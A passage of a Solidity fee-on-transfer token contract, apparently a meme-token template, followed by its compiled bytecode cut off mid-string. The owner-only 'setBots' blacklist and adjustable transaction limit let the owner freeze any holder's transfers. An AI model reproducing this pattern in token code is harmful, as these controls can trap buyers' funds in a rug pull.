require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f04565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a27565b61045e565b6040516101789190612ee9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d8565b61048d565b6040516101e09190612ee9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294a565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa4565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294a565b610783565b6040516102b191906130a6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f04565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a27565b61098d565b60405161035b9190612ee9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a63565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af6565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299c565b61121a565b60405161041891906130a6565b60405180910390f35b60606040518060400160405280600981526020017f426f6f6d20426f6f6d0000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137df60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f426f6f6d426f6f6d000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bc565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613066565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612973565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612973565b6040518363ffffffff1660e01b8152600401610e1f929190612e36565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612973565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e88565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5f565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acd565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe6565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa6565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613046565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f66565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f26565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613006565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613086565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131dc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f04565b60405180910390fd5b5060008385611c8a91906132bd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f46565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612973565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c1565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613263565b90508284826121509190613232565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc6565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f04565b60405180910390fd5b50600083856122939190613232565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242281612620565b61242c84836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a6565b60405180910390a3505050505050505050565b6002600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252d8a600854600954612717565b925092509250600061253d612212565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d191906131dc565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90612f86565b60405180910390fd5b8091505092915050565b600061262a612212565b90506000612641828461212090919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276d606461275f888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961212090919063ffffffff16565b905060006127dd868961212090919063ffffffff16565b905060006127f4878961212090919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128496128448461315b565b613136565b9050808382526020820190508285602086028201111561286857600080fd5b60005b85811015612898578161287e88826128a2565b84526020840193506020830192505060018101905061286b565b5050509392505050565b6000813590506128b181613799565b92915050565b6000815190506128c681613799565b92915050565b600082601f8301126128dd57600080fd5b81356128ed848260208601612836565b91505092915050565b600081359050612905816137b0565b92915050565b60008151905061291a816137b0565b92915050565b60008135905061292f816137c7565b92915050565b600081519050612944816137c7565b92915050565b60006020828403121561295c57600080fd5b600061296a848285016128a2565b91505092915050565b60006020828403121561298557600080fd5b6000612993848285016128b7565b91505092915050565b600080604083850312156129af57600080fd5b60006129bd858286016128a2565b92505060206129ce858286016128a2565b9150509250929050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016128a2565b9350506020612a0c868287016128a2565b9250506040612a1d86828701612920565b9150509250925092565b60008060408385031215612a3a57600080fd5b6000612a48858286016128a2565b9250506020612a5985828601612920565b9150509250929050565b600060208284031215612a7557600080fd5b600082013567ffffffffffffffff811115612a8f57600080fd5b612a9b848285016128cc565b91505092915050565b600060208284031215612ab657600080fd5b6000612ac4848285016128f6565b91505092915050565b600060208284031215612adf57600080fd5b6000612aed8482850161290b565b91505092915050565b600060208284031215612b0857600080fd5b6000612b1684828501612920565b91505092915050565b600080600060608486031215612b3457600080fd5b6000612b4286828701612935565b9350506020612b5386828701612935565b9250506040612b6486828701612935565b9150509250925092565b6000612b7a8383612b86565b60208301905092915050565b612b8f816132f1565b82525050565b612b9e816132f1565b82525050565b6000612baf82613197565b612bb981856131ba565b9350612bc483613187565b8060005b83811015612bf5578151612bdc8882612b6e565b9750612be7836131ad565b925050600181019050612bc8565b5085935050505092915050565b612c0b81613303565b82525050565b612c1a81613346565b82525050565b6000612c2b826131a2565b612c3581856131cb565b9350612c45818560208601613358565b612c4e81613492565b840191505092915050565b6000612c666023836131cb565b9150612c71826134a3565b604082019050919050565b6000612c89602a836131cb565b9150612c94826134f2565b604082019050919050565b6000612cac6022836131cb565b9150612cb782613541565b604082019050919050565b6000612ccf601b836131cb565b9150612cda82613590565b602082019050919050565b6000612cf2601d836131cb565b9150612cfd826135b9565b602082019050919050565b6000612d156021836131cb565b9150612d20826135e2565b604082019050919050565b6000612d386020836131cb565b9150612d4382613631565b602082019050919050565b6000612d5b6029836131cb565b9150612d668261365a565b604082019050919050565b6000612d7e6025836131cb565b9150612d89826136a9565b604082019050919050565b6000612da16024836131cb565b9150612dac826136f8565b604082019050919050565b6000612dc46017836131cb565b9150612dcf82613747565b602082019050919050565b6000612de76011836131cb565b9150612df282613770565b602082019050919050565b612e068161332f565b82525050565b612e1581613339565b82525050565b6000602082019050612e306000830184612b95565b92915050565b6000604082019050612e4b6000830185612b95565b612e586020830184612b95565b9392505050565b6000604082019050612e746000830185612b95565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b95565b612eaa6020830188612dfd565b612eb76040830187612c11565b612ec46060830186612c11565b612ed16080830185612b95565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612c02565b92915050565b60006020820190508181036000830152612f1e8184612c20565b905092915050565b60006020820190508181036000830152612f3f81612c59565b9050919050565b60006020820190508181036000830152612f5f81612c7c565b9050919050565b60006020820190508181036000830152612f7f81612c9f565b9050919050565b60006020820190508181036000830152612f9f81612cc2565b9050919050565b60006020820190508181036000830152612fbf81612ce5565b9050919050565b60006020820190508181036000830152612fdf81612d08565b9050919050565b60006020820190508181036000830152612fff81612d2b565b9050919050565b6000602082019050818103600083015261301f81612d4e565b9050919050565b6000602082019050818103600083015261303f81612d71565b9050919050565b6000602082019050818103600083015261305f81612d94565b9050919050565b6000602082019050818103600083015261307f81612db7565b9050919050565b6000602082019050818103600083015261309f81612dda565b9050919050565b60006020820190506130bb6000830184612dfd565b92915050565b600060a0820190506130d66000830188612dfd565b6130e36020830187612c11565b81810360408301526130f58186612ba4565b90506131046060830185612b95565b6131116080830184612dfd565b9695505050505050565b60006020820190506131306000830184612e0c565b92915050565b6000613140613151565b905061314c828261338b565b919050565b6000604051905090565b600067ffffffffffffffff82111561317657613175613463565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e78261332f565b91506131f28361332f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322757613226613405565b5b828201905092915050565b600061323d8261332f565b91506132488361332f565b92508261325857613257613434565b5b828204905092915050565b600061326e8261332f565b91506132798361332f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b2576132b1613405565b5b828202905092915050565b60006132c88261332f565b91506132d38361332f565b9250828210156132e6576132e5613405565b5b828203905092915050565b60006132fc8261330f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133518261332f565b9050919050565b60005b8381101561337657808201518184015260208101905061335b565b83811115613385576000848401525b50505050565b61339482613492565b810181811067ffffffffffffffff821117156133b3576133b2613463565b5b80604052505050565b60006133c78261332f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fa576133f9613405565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e